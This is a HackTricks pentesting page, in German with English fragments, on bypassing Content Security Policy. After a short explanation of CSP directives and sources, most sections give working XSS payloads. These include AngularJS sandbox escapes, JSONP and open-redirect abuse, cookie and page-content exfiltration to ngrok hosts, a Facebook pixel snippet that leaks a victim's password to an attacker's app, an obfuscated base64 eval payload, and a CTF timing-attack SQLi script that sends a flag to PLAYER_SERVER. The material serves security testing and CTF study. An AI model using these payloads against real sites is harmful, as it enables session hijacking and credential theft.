Content Security Policy (CSP) Bypass
Reading time: 33 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Was ist CSP
Content Security Policy (CSP) wird als Browser-Technologie verstanden, die in erster Linie darauf abzielt, gegen Angriffe wie cross-site scripting (XSS) zu schützen. Sie funktioniert, indem Pfade und Quellen definiert und spezifiziert werden, von denen Ressourcen sicher vom Browser geladen werden dürfen. Diese Ressourcen umfassen Elemente wie Bilder, Frames und JavaScript. Zum Beispiel kann eine Policy das Laden und Ausführen von Ressourcen von derselben Domain (self) erlauben, einschließlich inline-Ressourcen und der Ausführung von String-Code über Funktionen wie eval
, setTimeout
oder setInterval
.
Die Implementierung von CSP erfolgt über Response-Header oder durch Einfügen von meta-Elementen in die HTML-Seite. Browser setzen diese Vorgaben aktiv durch und blockieren sofort erkannte Verstöße.
- Implementiert über Response-Header:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
- Implementiert über Meta-Tag:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
Kopfzeilen
CSP kann durch die folgenden Header durchgesetzt oder überwacht werden:
Content-Security-Policy
: Setzt die CSP durch; der Browser blockiert alle Verstöße.Content-Security-Policy-Report-Only
: Wird zur Überwachung verwendet; meldet Verstöße, blockiert sie jedoch nicht. Ideal zum Testen in Vorproduktionsumgebungen.
Ressourcen definieren
CSP beschränkt die Ursprünge, von denen sowohl aktive als auch passive Inhalte geladen werden dürfen, und steuert Aspekte wie die Ausführung von inline JavaScript und die Verwendung von eval()
. Ein Beispiel für eine Policy ist:
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
Direktiven
- script-src: Erlaubt spezifische Quellen für JavaScript, einschließlich URLs, Inline-Skripten und Skripten, die durch Event-Handler oder XSLT-Stylesheets ausgelöst werden.
- default-src: Setzt eine Standardrichtlinie zum Laden von Ressourcen, wenn spezifische Fetch-Direktiven fehlen.
- child-src: Gibt erlaubte Ressourcen für Web Workers und eingebettete Frame-Inhalte an.
- connect-src: Beschränkt URLs, die über Schnittstellen wie fetch, WebSocket, XMLHttpRequest geladen werden können.
- frame-src: Beschränkt URLs für Frames.
- frame-ancestors: Gibt an, welche Quellen die aktuelle Seite einbetten dürfen; gilt für Elemente wie
<frame>
,<iframe>
,<object>
,<embed>
, und<applet>
. - img-src: Definiert erlaubte Quellen für Bilder.
- font-src: Gibt gültige Quellen für Fonts an, die mit
@font-face
geladen werden. - manifest-src: Definiert erlaubte Quellen für Application-Manifest-Dateien.
- media-src: Definiert erlaubte Quellen zum Laden von Media-Objekten.
- object-src: Definiert erlaubte Quellen für
<object>
,<embed>
und<applet>
-Elemente. - base-uri: Gibt erlaubte URLs für das Laden mittels
<base>
-Elementen an. - form-action: Listet gültige Endpunkte für Formular-Submits auf.
- plugin-types: Beschränkt MIME-Typen, die eine Seite aufrufen darf.
- upgrade-insecure-requests: Anweist Browser, HTTP-URLs in HTTPS umzuschreiben.
- sandbox: Wendet Beschränkungen ähnlich dem sandbox-Attribut eines
<iframe>
an. - report-to: Gibt eine Gruppe an, an die ein Bericht gesendet wird, wenn die Richtlinie verletzt wird.
- worker-src: Gibt gültige Quellen für Worker-, SharedWorker- oder ServiceWorker-Skripte an.
- prefetch-src: Gibt gültige Quellen für Ressourcen an, die abgerufen oder vorab geladen werden.
- navigate-to: Beschränkt die URLs, zu denen ein Dokument auf beliebige Weise navigieren kann (a, form, window.location, window.open, etc.)
Quellen
*
: Erlaubt alle URLs außer solchen mit den Schematadata:
,blob:
,filesystem:
.'self'
: Erlaubt das Laden von der gleichen Domain.'data'
: Erlaubt das Laden von Ressourcen über das data-Schema (z. B. Base64-codierte Bilder).'none'
: Blockiert das Laden von jeglicher Quelle.'unsafe-eval'
: Erlaubt die Verwendung voneval()
und ähnlichen Methoden; aus Sicherheitsgründen nicht empfohlen.'unsafe-hashes'
: Ermöglicht bestimmte inline Event-Handler.'unsafe-inline'
: Erlaubt die Nutzung von Inline-Ressourcen wie inline<script>
oder<style>
; aus Sicherheitsgründen nicht empfohlen.'nonce'
: Eine Whitelist für spezifische Inline-Skripte, die einen kryptographischen Nonce (einmalige Zahl) verwenden.- If you have JS limited execution it's possible to get a used nonce inside the page with
doc.defaultView.top.document.querySelector("[nonce]")
and then reuse it to load a malicious script (if strict-dynamic is used, any allowed source can load new sources so this isn't needed), like in:
Script laden und Nonce wiederverwenden
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
'sha256-<hash>'
: Erlaubt Skripte mit einem bestimmten sha256-Hash.'strict-dynamic'
: Ermöglicht das Laden von Skripten aus beliebigen Quellen, wenn sie durch ein nonce oder einen Hash auf die Whitelist gesetzt wurden.'host'
: Gibt einen bestimmten Host an, z. B.example.com
.https:
: Beschränkt URLs auf solche, die HTTPS verwenden.blob:
: Erlaubt das Laden von Ressourcen von Blob-URLs (z. B. Blob-URLs, die via JavaScript erstellt werden).filesystem:
: Erlaubt das Laden von Ressourcen aus dem Dateisystem.'report-sample'
: Fügt dem Verstoßbericht ein Beispiel des verletzenden Codes bei (nützlich zum Debuggen).'strict-origin'
: Ähnlich wie 'self', stellt aber sicher, dass das Protokoll-Sicherheitsniveau der Quellen mit dem Dokument übereinstimmt (nur sichere Ursprünge können Ressourcen von sicheren Ursprüngen laden).'strict-origin-when-cross-origin'
: Sendet vollständige URLs bei same-origin-Anfragen, sendet jedoch nur die Origin bei cross-origin-Anfragen.'unsafe-allow-redirects'
: Erlaubt das Laden von Ressourcen, die sofort auf eine andere Ressource weiterleiten. Nicht empfohlen, da es die Sicherheit schwächt.
Unsichere CSP-Regeln
'unsafe-inline'
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
Funktionierender Payload: "/><script>alert(1);</script>
self + 'unsafe-inline' über Iframes
CSP bypass: self + 'unsafe-inline' with Iframes
'unsafe-eval'
caution
Dies funktioniert nicht, für mehr Infos siehe hier.
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
Funktionierender payload:
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
strict-dynamic
Wenn du es irgendwie schaffst, dass ein erlaubter JS-Code im DOM ein neues script tag mit deinem JS-Code erzeugt, weil ein erlaubtes Script es erstellt, wird das neue script tag zur Ausführung zugelassen.
Wildcard (*)
Content-Security-Policy: script-src 'self' https://google.com https: data *;
Funktionierender Payload:
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
Fehlende object-src und default-src
[!CAUTION] > Es scheint, dass dies nicht mehr funktioniert
Content-Security-Policy: script-src 'self' ;
Funktionierende payloads:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
Datei-Upload + 'self'
Content-Security-Policy: script-src 'self'; object-src 'none' ;
Wenn du eine JS-Datei hochladen kannst, kannst du diese CSP umgehen:
Funktionierender payload:
"/>'><script src="/uploads/picture.png.js"></script>
However, it's highly probable that the server is validating the uploaded file and will only allow you to upload determined type of files.
Moreover, even if you could upload a JS code inside a file using an extension accepted by the server (like: script.png) this won't be enough because some servers like Apache server select MIME type of the file based on the extension and browsers like Chrome will reject to execute Javascript code inside something that should be an image. "Hopefully", there are mistakes. For example, from a CTF I learnt that Apache die .wave extension nicht kennt, therefore it doesn't serve it with a MIME type like audio/*.
From here, if you find a XSS and a file upload, and you manage to find a misinterpreted extension, you could try to upload a file with that extension and the Content of the script. Or, if the server is checking the correct format of the uploaded file, create a polyglot (some polyglot examples here).
Form-action
If not possible to inject JS, you could still try to exfiltrate for example credentials injecting a form action (and maybe expecting password managers to auto-fill passwords). You can find an example in this report. Also, notice that default-src
does not cover form actions.
warning
Für einige der folgenden payloads ist unsafe-eval
nicht einmal nötig.
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
Lade eine verwundbare Version von angular und führe beliebigen JS-Code aus:
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
Payloads mit Angular + einer Bibliothek mit Funktionen, die das window
-Objekt zurückgeben (check out this post):
tip
Der Beitrag zeigt, dass du alle Bibliotheken von cdn.cloudflare.com
(oder jedem anderen erlaubten JS libraries repo) laden kannst, alle hinzugefügten Funktionen jeder Bibliothek ausführst und überprüfst, welche Funktionen aus welchen Bibliotheken das window
-Objekt zurückgeben.
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>
Angular XSS durch einen Klassennamen:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Missbrauch von google recaptcha JS code
Laut this CTF writeup kannst du https://www.google.com/recaptcha/ innerhalb einer CSP ausnutzen, um beliebigen JS code auszuführen und die CSP zu umgehen:
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
Mehr payloads from this writeup:
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
<!-- Trigger alert -->
<img src="x" ng-on-error="$event.target.ownerDocument.defaultView.alert(1)" />
<!-- Reuse nonce -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
Ausnutzen von www.google.com für open redirect
Die folgende URL leitet zu example.com weiter (aus here):
https://www.google.com/amp/s/example.com/
Abusing *.google.com/script.google.com
Es ist möglich, Google Apps Script zu missbrauchen, um Informationen auf einer Seite innerhalb von script.google.com zu erhalten. Wie es done in this report.
Third Party Endpoints + JSONP
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
Szenarien wie dieses, in denen script-src
auf self
gesetzt ist und eine bestimmte Domain zugelassen ist, können mit JSONP umgangen werden. JSONP-Endpunkte erlauben unsichere callback-Methoden, die einem Angreifer erlauben, XSS auszuführen. Funktionierender Payload:
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
JSONBee enthält einsatzbereite JSONP-Endpunkte zum CSP bypass verschiedener Websites.
Die gleiche Schwachstelle tritt auf, wenn der trusted endpoint contains an Open Redirect, denn wenn der initiale Endpoint vertrauenswürdig ist, sind auch Redirects vertrauenswürdig.
Missbrauch durch Drittanbieter
Wie in dem following post beschrieben, gibt es viele Third-Party-Domains, die irgendwo in der CSP erlaubt sein könnten und missbraucht werden können, um entweder Daten zu exfiltrieren oder JavaScript-Code auszuführen. Einige dieser Drittanbieter sind:
Entität | Erlaubte Domain | Fähigkeiten |
---|---|---|
www.facebook.com, *.facebook.com | Exfil | |
Hotjar | *.hotjar.com, ask.hotjar.io | Exfil |
Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Exec |
Amazon CloudFront | *.cloudfront.net | Exfil, Exec |
Amazon AWS | *.amazonaws.com | Exfil, Exec |
Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Exfil, Exec |
Salesforce Heroku | *.herokuapp.com | Exfil, Exec |
Google Firebase | *.firebaseapp.com | Exfil, Exec |
Wenn Sie eine der erlaubten Domains in der CSP Ihres Targets finden, ist die Wahrscheinlichkeit groß, dass Sie die CSP umgehen können, indem Sie sich beim Drittanbieterdienst registrieren und entweder Daten an diesen Dienst exfiltrieren oder Code ausführen.
Zum Beispiel, wenn Sie die folgende CSP finden:
Content-Security-Policy: default-src 'self’ www.facebook.com;
oder
Content-Security-Policy: connect-src www.facebook.com;
Du solltest in der Lage sein, Daten zu exfiltrieren, ähnlich wie es schon immer mit Google Analytics/Google Tag Manager gemacht wurde. In diesem Fall folgst du diesen allgemeinen Schritten:
- Erstelle hier ein Facebook Developer account.
- Create a new "Facebook Login" app and select "Website".
- Gehe zu "Settings -> Basic" und hole deine "App ID"
- Auf der Zielseite, von der du Daten exfiltrate möchtest, kannst du diese direkt exfiltrate, indem du das Facebook SDK Gadget "fbq" über ein "customEvent" und die Daten-Payload verwendest.
- Gehe zu deiner App "Event Manager" und wähle die Anwendung, die du erstellt hast (beachte, der Event Manager könnte unter einer URL ähnlich dieser zu finden sein: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
- Wähle den Tab "Test Events", um die Events zu sehen, die von "deiner" web site gesendet werden.
Dann führst du auf der Opferseite den folgenden Code aus, um das Facebook tracking pixel auf die App-ID des Angreifers' Facebook Developer account zu initialisieren und ein "customEvent" wie folgt auszulösen:
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
Was die anderen sieben Drittanbieter-Domains betrifft, die in der vorherigen Tabelle angegeben sind, gibt es viele weitere Möglichkeiten, sie zu missbrauchen. Siehe den zuvor verlinkten blog post für zusätzliche Erklärungen zu anderen Drittanbieter-Missbräuchen.
Bypass via RPO (Relative Path Overwrite)
Neben der bereits erwähnten Umleitung zum Umgehen von Pfadbeschränkungen gibt es eine weitere Technik namens Relative Path Overwrite (RPO), die auf einigen Servern angewendet werden kann.
Zum Beispiel, wenn CSP den Pfad https://example.com/scripts/react/
erlaubt, kann dieser wie folgt umgangen werden:
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
Der Browser wird schließlich https://example.com/scripts/angular/angular.js
laden.
Das funktioniert, weil der Browser eine Datei namens ..%2fangular%2fangular.js
lädt, die sich unter https://example.com/scripts/react/
befindet, was mit CSP konform ist.
Dabei wird es decodiert, wodurch effektiv https://example.com/scripts/react/../angular/angular.js
angefragt wird, was äquivalent zu https://example.com/scripts/angular/angular.js
ist.
Durch Ausnutzen dieser Inkonsistenz in der URL-Interpretation zwischen Browser und Server können die Pfadregeln umgangen werden.
Die Lösung besteht darin, %2f
serverseitig nicht als /
zu behandeln, um eine konsistente Interpretation zwischen Browser und Server sicherzustellen und dieses Problem zu vermeiden.
Online Example: https://jsbin.com/werevijewa/edit?html,output
Iframes JS-Ausführung
fehlende base-uri
Wenn die base-uri-Direktive fehlt, kann man sie ausnutzen, um eine dangling markup injection durchzuführen.
Außerdem, wenn die Seite ein Script mit einem relativen Pfad lädt (wie <script src="/js/app.js">
) und dabei eine Nonce verwendet wird, kann man das base tag missbrauchen, um das Script vom eigenen Server zu laden und so eine XSS zu erzielen.
Wenn die verwundbare Seite mit httpS geladen wird, verwende eine httpS-URL im base.
<base href="https://www.attacker.com/" />
AngularJS-Ereignisse
Eine spezielle Richtlinie, bekannt als Content Security Policy (CSP), kann JavaScript-Ereignisse einschränken. Dennoch bietet AngularJS als Alternative benutzerdefinierte Events an. Innerhalb eines Events stellt AngularJS das spezielle Objekt $event
zur Verfügung, das auf das native Browser-Eventobjekt verweist. Dieses $event
-Objekt lässt sich ausnutzen, um die CSP zu umgehen. Besonders in Chrome besitzt das $event/event
-Objekt ein path
-Attribut, das ein Array von Objekten enthält, die an der Ausführungskette des Events beteiligt sind, wobei das window
-Objekt stets am Ende steht. Diese Struktur ist entscheidend für sandbox escape Taktiken.
Indem dieses Array an den orderBy
-Filter übergeben wird, ist es möglich, darüber zu iterieren und das letzte Element (das window
-Objekt) zu nutzen, um eine globale Funktion wie alert()
auszulösen. Der folgende Code-Snippet veranschaulicht diesen Prozess:
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
Dieses Snippet zeigt die Verwendung der ng-focus
-Direktive zum Auslösen des Events, nutzt $event.path|orderBy
, um das path
-Array zu manipulieren, und verwendet das window
-Objekt, um die Funktion alert()
auszuführen und damit document.cookie
offenzulegen.
Finde weitere Angular bypasses unter https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
AngularJS und zugelassene Domain
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
Eine CSP-Policy, die Domains für das Laden von Skripten in einer Angular JS-Anwendung whitelists, kann durch den Aufruf von callback functions und bestimmten vulnerable classes umgangen werden. Weitere Informationen zu dieser Technik finden Sie in einem detaillierten Guide in diesem git repository.
Funktionierende payloads:
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
Weitere JSONP arbitrary execution endpoints finden sich in here (einige davon wurden gelöscht oder behoben)
Bypass via Redirection
Was passiert, wenn CSP auf eine serverseitige Umleitung trifft? Führt die Umleitung zu einer anderen Origin, die nicht erlaubt ist, schlägt sie trotzdem fehl.
Laut der Beschreibung in CSP spec 4.2.2.3. Paths and Redirects kann eine Umleitung, die zu einem anderen Pfad führt, jedoch die ursprünglichen Einschränkungen umgehen.
Hier ein Beispiel:
<!DOCTYPE html>
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</head>
<body>
<div id="userContent">
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>
If CSP is set to https://www.google.com/a/b/c/d
, since the path is considered, both /test
and /a/test
scripts will be blocked by CSP.
Allerdings wird die finale http://localhost:5555/301
serverseitig auf https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//
umgeleitet. Da es sich um eine Weiterleitung handelt, wird der Pfad nicht berücksichtigt, und das Skript geladen werden kann, wodurch die Pfadbeschränkung umgangen wird.
Mit dieser Umleitung wird selbst wenn der Pfad vollständig angegeben ist, dieser trotzdem umgangen.
Daher ist die beste Lösung, sicherzustellen, dass die Website keine open redirect vulnerabilities hat und dass in den CSP-Regeln keine Domains stehen, die ausgenutzt werden können.
Bypass CSP with dangling markup
Mehr dazu: hier.
'unsafe-inline'; img-src *; via XSS
default-src 'self' 'unsafe-inline'; img-src *;
'unsafe-inline'
bedeutet, dass du jedes Skript im Code ausführen kannst (XSS kann Code ausführen) und img-src *
bedeutet, dass du auf der Webseite jedes Bild von jeder Ressource verwenden kannst.
Du kannst diese CSP umgehen, indem du die Daten über Bilder exfiltrierst (in diesem Fall missbraucht das XSS eine CSRF, wobei eine vom Bot erreichbare Seite eine SQLi enthält und das flag über ein Bild extrahiert wird):
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>
Von: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
Sie können diese Konfiguration auch missbrauchen, um javascript code, der in ein Bild eingefügt wurde, zu laden. Wenn die Seite zum Beispiel das Laden von Bildern von Twitter erlaubt, könnten Sie ein spezielles Bild erstellen, es auf Twitter hochladen und 'unsafe-inline' missbrauchen, um einen JS-Code (wie bei einem normalen XSS) auszuführen, der das Bild lädt, das JS daraus extrahiert und ausführt: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/
Mit Service Workers
Die importScripts
-Funktion von Service Workers ist nicht durch CSP eingeschränkt:
Policy Injection
Recherche: https://portswigger.net/research/bypassing-csp-with-policy-injection
Chrome
Wenn ein von Ihnen gesendeter Parameter in die Deklaration der Policy eingefügt wird, könnten Sie die Policy so verändern, dass sie nutzlos wird. Sie könnten Skripte mit 'unsafe-inline' zulassen mit einem dieser Bypasses:
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
Da diese Direktive vorhandene script-src-Direktiven überschreibt.
Ein Beispiel findest du hier: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E
Edge
Bei Edge ist es viel einfacher. Wenn du in die CSP nur dies einfügst: ;_
würde Edge die gesamte Richtlinie verwerfen.
Beispiel: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E
img-src *; via XSS (iframe) - Timing-Angriff
Beachte das Fehlen der Direktive 'unsafe-inline'
Diesmal kannst du das Opfer dazu bringen, eine Seite unter deiner Kontrolle per XSS mit einem <iframe
zu laden. Diesmal lässt du das Opfer die Seite aufrufen, von der du Informationen extrahieren möchtest (CSRF). Du kannst nicht auf den Inhalt der Seite zugreifen, aber wenn du irgendwie die Ladezeit der Seite kontrollieren kannst, kannst du die benötigten Informationen extrahieren.
Diesmal wird ein flag extrahiert: immer wenn ein Zeichen korrekt geraten wird (via SQLi), benötigt die Antwort aufgrund der sleep-Funktion mehr Zeit. Dann kannst du das flag extrahieren:
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org"
function gen(x) {
x = escape(x.replace(/_/g, "\\_"))
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`
}
function gen2(x) {
x = escape(x)
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`
}
async function query(word, end = false) {
let h = performance.now()
f.location = end ? gen2(word) : gen(word)
await new Promise((r) => {
g.onload = r
})
let diff = performance.now() - h
return diff > 300
}
let alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789".split("")
let postfix = "}"
async function run() {
let prefix = "nn9ed{"
while (true) {
let i = 0
for (i; i < alphabet.length; i++) {
let c = alphabet[i]
let t = await query(prefix + c) // Check what chars returns TRUE or FALSE
console.log(prefix, c, t)
if (t) {
console.log("FOUND!")
prefix += c
break
}
}
if (i == alphabet.length) {
console.log("missing chars")
break
}
let t = await query(prefix + "}", true)
if (t) {
prefix += "}"
break
}
}
new Image().src = "http://PLAYER_SERVER/?" + prefix //Exfiltrate the flag
console.log(prefix)
}
run()
</script>
Über Bookmarklets
Dieser Angriff setzt Social Engineering voraus, wobei der Angreifer den Nutzer überredet, einen Link auf das Bookmarklet des Browsers zu ziehen und dort abzulegen. Dieses Bookmarklet würde bösartigen javascript-Code enthalten, der beim Drag&Drop oder Klick im Kontext des aktuellen Browserfensters ausgeführt wird, CSP umgeht und es ermöglicht, sensible Informationen wie cookies oder tokens zu stehlen.
For more information check the original report here.
CSP bypass durch Einschränkung von CSP
In diesem CTF writeup wird CSP umgangen, indem innerhalb eines erlaubten iframe eine restriktivere CSP injiziert wird, die das Laden einer bestimmten JS-Datei verbietet, die dann via prototype pollution oder dom clobbering ausgenutzt wurde, um ein anderes Script dazu zu bringen, ein beliebiges Script zu laden.
Du kannst die CSP eines iframe einschränken mit dem csp
-Attribut:
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
In this CTF writeup, war es möglich, mittels HTML injection eine CSP stärker einschränken, sodass ein Script, das CSTI verhindert, deaktiviert wurde und dadurch die vulnerability ausnutzbar wurde.
CSP kann restriktiver gemacht werden durch HTML meta tags und inline scripts können deaktiviert werden, indem man den Eintrag entfernt, der ihre nonce erlaubt, und bestimmte inline scripts via sha aktiviert:
<meta
http-equiv="Content-Security-Policy"
content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
JS exfiltration mit Content-Security-Policy-Report-Only
Wenn es dir gelingt, den Server dazu zu bringen, mit dem Header Content-Security-Policy-Report-Only
zu antworten, dessen Wert von dir kontrolliert wird (z. B. wegen eines CRLF), kannst du ihn so auf deinen Server zeigen lassen. Wenn du dann den JS content, den du exfiltrate möchtest, mit <script>
umschließt — und da unsafe-inline
sehr wahrscheinlich vom CSP nicht erlaubt ist — wird das einen CSP-Fehler auslösen und ein Teil des Skripts (der sensible Informationen enthält) vom Content-Security-Policy-Report-Only
an den Server gesendet.
Als Beispiel check this CTF writeup.
CVE-2020-6519
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
Leaking Information with CSP and Iframe
- Ein
iframe
wird erstellt, das auf eine URL zeigt (nennen wir siehttps://example.redirect.com
), die von CSP erlaubt ist. - Diese URL leitet dann zu einer geheimen URL weiter (z. B.
https://usersecret.example2.com
), die von CSP nicht erlaubt ist. - Durch Zuhören des
securitypolicyviolation
-Events kann man dieblockedURI
-Property erfassen. Diese Eigenschaft offenbart die Domain der blockierten URI und leaking die geheime Domain, zu der die initiale URL weitergeleitet wurde.
